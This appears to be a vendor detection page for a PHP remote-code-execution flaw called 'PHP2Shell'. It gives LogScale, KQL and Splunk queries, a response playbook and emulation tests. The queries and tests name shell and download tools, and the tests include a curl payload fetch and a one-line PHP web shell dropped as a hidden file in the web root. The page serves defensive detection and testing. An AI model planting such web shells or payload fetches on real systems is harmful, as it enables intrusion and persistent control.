Detect PHP Memory Corruption Exploitation (CVE-2026-109618 / PHP2Shell) in CrowdStrike LogScale
Detects exploitation attempts against CVE-2026-109618, a memory corruption vulnerability in PHP (PHP Group) chained in the wild as 'PHP2Shell'. The flaw stems from use-after-free (CWE-416), improper handling of exceptional conditions (CWE-755), use of a pointer after release (CWE-824), and resource lifecycle issues (CWE-1325/CWE-1419) in the PHP runtime. Successful exploitation corrupts the Zend heap and yields remote code execution in the context of the PHP worker (php-fpm / Apache mod_php), typically surfacing as post-exploitation web-shell writes, unexpected worker crashes/segfaults, and outbound connections from PHP processes. CISA added this CVE to the KEV catalog on 2026-10-21 and an ExploitDB PoC (52704) is public. This detection correlates PHP interpreter crashes/segfaults, anomalous child process spawning from PHP workers, and web-shell indicators to flag active exploitation.
MITRE ATT&CK
LogScale Detection Query
// df00tech DF00-492e0330e0 · https://df00tech.com/detections/CVE-2026-109618 · licence: https://df00tech.com/detections/licence
#event_simpleName=ProcessRollup2
| ParentBaseFileName=/^(php-fpm.*|php|php-cgi|httpd|apache2)$/i
| ImageFileName=/\/(sh|bash|dash|whoami|id|curl|wget|python3?|perl|nc|ncat)$|(cmd\.exe|powershell\.exe)$/i
| table([_time, ComputerName, ParentBaseFileName, FileName, CommandLine, UserName])
| sort(_time, order=desc)CrowdStrike CQL query surfacing PHP worker processes that spawn shell or recon binaries, the key signal for CVE-2026-109618 PHP2Shell RCE.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate PHP exec() of system utilities
- CI/CD under web account
- EDR/monitoring agents reparented to Apache
Other platforms for CVE-2026-109618
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1 Simulate PHP worker spawning a recon shell
Expected signal: Process-creation event with parent process php and child process sh/id/whoami/uname
- Test 2 Simulate PHP reverse-shell download via curl
Expected signal: Process-creation event with parent php and child curl writing to /tmp
- Test 3 Drop a PHP web shell into web root
Expected signal: File-creation event for a new .php file under the document root, written by a php process
- Test 4 Simulate php-fpm invoking an interactive bash shell
Expected signal: Process-creation event with parent php and child bash running -c
References (8)
- https://www.php.net/
- https://nvd.nist.gov/vuln/detail/CVE-2026-109618
- https://www.cisa.gov/news-events/alerts/2026/10/21/critical-vulnerabilities-php-require-immediate-patching
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.exploit-db.com/exploits/52704
- https://www.bleepingcomputer.com/news/security/php2shell-security-flaws-now-sucessfully-exploited-in-the-wild/
- https://thehackernews.com/2026/10/php2shell-exploit-attempts-hit-millions.html
- https://isc.sans.edu/diary/rss/33440
Response Playbook
Triage
- Confirm the PHP version running on the affected host (php -v, package manager, or php-fpm pool config) and cross-check against vendor advisories for CVE-2026-109618 patch status.
- Review the parent PHP worker and its command line, plus the web access logs around the event time, for the request URI/body that triggered the crash or child-process spawn (look for PHP2Shell exploit patterns from ExploitDB 52704).
- Determine whether the spawned child process performed reconnaissance (whoami/id), downloaded a payload (curl/wget), or established a reverse shell (nc/ncat/bash -i), and capture the full process tree.
- Check for newly created or modified .php files under web-accessible directories (document root, uploads) with recent timestamps, indicating a dropped web shell.
Containment
- Isolate the affected host from the network (EDR containment or firewall block) to prevent lateral movement and further C2.
- Stop/disable the vulnerable php-fpm or Apache mod_php service and block inbound requests to the affected application at the WAF/reverse proxy until patched.
- Quarantine any identified web-shell files and revoke/rotate credentials or tokens accessible to the web service account.
Evidence Collection
- Preserve PHP-FPM and web server access/error logs, auditd/Sysmon process-creation logs, and any core dumps or segfault entries from dmesg/journalctl for the exploitation window.
- Capture the dropped web-shell file(s), the exploit request payload, and a memory/disk image of the affected host before remediation.
Escalation Criteria
- !Escalate to incident response immediately if a reverse shell, interactive command execution, or outbound C2 connection from the PHP worker is confirmed.
- !Escalate if web-shell persistence, credential theft, or lateral movement to other hosts is observed, or if the host handles sensitive/regulated data.
Investigation Guide
Forensic Artifacts
- >
php-fpm/Apache error logs showing segfault or worker respawn entries - >
Newly written .php files in web-accessible directories - >
auditd/Sysmon process-creation records linking a PHP worker parent to shell/recon children - >
dmesg/journalctl kernel messages reporting php-fpm segmentation faults
Tuning Guidance
Baseline which PHP applications in your environment legitimately use exec()/system()/proc_open() (e.g., image processing, PDF generation) and the specific binaries they invoke, then allowlist those parent-command-line + child-binary pairs. Treat interactive shells (bash -i, sh -c with network tooling), reverse-shell patterns, and recon commands (whoami, id) as high-fidelity regardless of application. Correlate with php-fpm segfault log entries to raise confidence that a memory-corruption exploit — not benign shelling-out — occurred.
Hunting Queries
Hunts for any PHP worker across the fleet spawning shell, recon, or download utilities over a wide lookback window to find low-and-slow PHP2Shell exploitation.
// df00tech DF00-492e0330e0 · https://df00tech.com/detections/CVE-2026-109618 · licence: https://df00tech.com/detections/licence
DeviceProcessEvents | where InitiatingProcessFileName has "php" | where FileName in~ ("sh","bash","nc","ncat","curl","wget","whoami","id") | summarize count() by DeviceName, InitiatingProcessCommandLine, FileName, ProcessCommandLine``` df00tech DF00-492e0330e0 · https://df00tech.com/detections/CVE-2026-109618 · licence: https://df00tech.com/detections/licence ```
index=os (parent_process_name=*php* OR ParentImage=*php*) (process_name IN (sh,bash,nc,ncat,curl,wget,whoami,id)) | stats count by host, parent_process_name, process_name, CommandLineAtomic Red Team Tests
Emulates post-exploitation behavior where the PHP interpreter executes an OS command, producing the parent=php child=shell telemetry this rule detects.
Command
php -r 'system("id; whoami; uname -a");'Cleanup
echo 'No cleanup required; no artifacts written'Expected Telemetry
Process-creation event with parent process php and child process sh/id/whoami/uname
Expected Detection
Rule fires on PHP worker spawning recon utilities (sh, id, whoami).
Emulates a PHP RCE fetching a second-stage payload, generating parent=php child=curl telemetry.
Command
php -r 'system("curl -s http://127.0.0.1:8000/stage2.sh -o /tmp/stage2.sh");'Cleanup
rm -f /tmp/stage2.shExpected Telemetry
Process-creation event with parent php and child curl writing to /tmp
Expected Detection
Rule fires on PHP worker spawning a download utility (curl).
Emulates PHP2Shell dropping a web shell in a web-accessible directory for persistence.
Command
php -r 'file_put_contents("/var/www/html/.cache.php", "<?php system($_GET[0]); ?>");'Cleanup
rm -f /var/www/html/.cache.phpExpected Telemetry
File-creation event for a new .php file under the document root, written by a php process
Expected Detection
Hunting/file-monitoring detects newly written .php web shell in web root (supports the process-based rule).
Emulates a reverse-shell style interactive shell spawned from a PHP worker on a lab host.
Command
php -r 'system("bash -c \"echo exploited; sleep 1\"");'Cleanup
echo 'No persistent artifacts'Expected Telemetry
Process-creation event with parent php and child bash running -c
Expected Detection
Rule fires on PHP worker spawning bash with -c.